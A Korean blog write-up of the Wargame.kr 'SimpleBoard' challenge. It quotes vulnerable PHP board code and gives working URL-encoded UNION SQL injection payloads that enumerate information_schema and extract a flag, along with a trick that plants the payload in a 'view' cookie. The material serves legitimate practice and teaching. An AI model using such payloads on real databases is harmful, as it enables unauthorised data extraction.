-
Wargame.kr SimpleBoardWebHacking/Wargame.kr 2018. 2. 26. 00:29
SimpleBoard
600point / bughelaSimple Union SQL injection Challenge.
(but you need script... maybe?)public function read($idx){
$idx = mysql_real_escape_string($idx);
if ($this->read_chk($idx) == false){
$this->inc_hit($idx);
}
return $this->db->get_query("select * from {$this->table} where idx=$idx");
}
private function read_chk($idx){
if(strpos($_COOKIE['view'], "/".$idx) !== false) {
return true;
} else {
return false;
}
}
private function inc_hit($idx){
$this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
$view = $_COOKIE['view'] . "/" . $idx;
setcookie("view", $view, time()+3600, "/SimpleBoard/");
}문제에서 소스가 주어지는데 우리가 주로 봐야 될 코드는 위 2개 쿼리 문 이다.
내가 board를 읽으면 read($idx)가 호출이 되면서 view라는 쿠키에 내가 입력한 쿼리가 있는지 확인을 하고 없다면 inc_hit를 실행하여서 update를 해준다.
일단 이 소스에서 플래그를 주는 코드는 없으니 테이블에 플래그가 있을 확률이 높다.
그렇다면 테이블 이름, 컬럼 이름을 알아야된다.
12340%20union%20select%20table_name,TABLE_TYPE,TABLE_SCHEMA,ENGINE%20from%20information_schema.tables%20where%20TABLE_TYPE=0x42415345205441424c45%20and%20TABLE_SCHEMA!=0x6d7973716c%20limit%200,10%20union%20select%20flag,1,2,3%20from%20README%20limit%200,1select COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA,COLUMN_DEFAULT from information_schema.columns where table_name=0x524541444d45;cs 위 쿼리들을 사용하여서 테이블 이름, 컬럼 이름, flag를 얻을 수 있다 !
컬럼 개수는 order by등으로 알수도있을것이고, 하나하나 select 1,2,3,4 ~ 점점 늘려가면서 오류가 나타나는지 알수있고, 게싱으로 num,title,hit,data 가 있으니 컬럼 개수는 4개라고 때려 맞출 수 있다.
정상적인 쿼리를 넣어도 제대로 쿼리가 먹히지 않는데 그 이유는 우리가 입력한 idx와 view 쿠키에 값이 다르다면 update구문을 사용하는데 이때 union select 등이 같이 들어갔기 때문에 오류가 나는 것 이다.
idx 입력 -> url 인코딩 -> read,inc_hit순서로 실행되기 때문에 우리가 입력한 쿼리를 url인코딩을 하여서 view 쿠키안에 넣어줘야 제대로 작동을한다. !
'WebHacking > Wargame.kr' 카테고리의 다른 글
Wargame.kr dmbs335 (0) 2018.02.26 Wargame.kr web chatting (0) 2018.02.26 Wargame.kr tmitter (0) 2018.02.25 Wargame.kr type confusion (0) 2018.02.25 Wargame.kr strcmp (0) 2018.02.25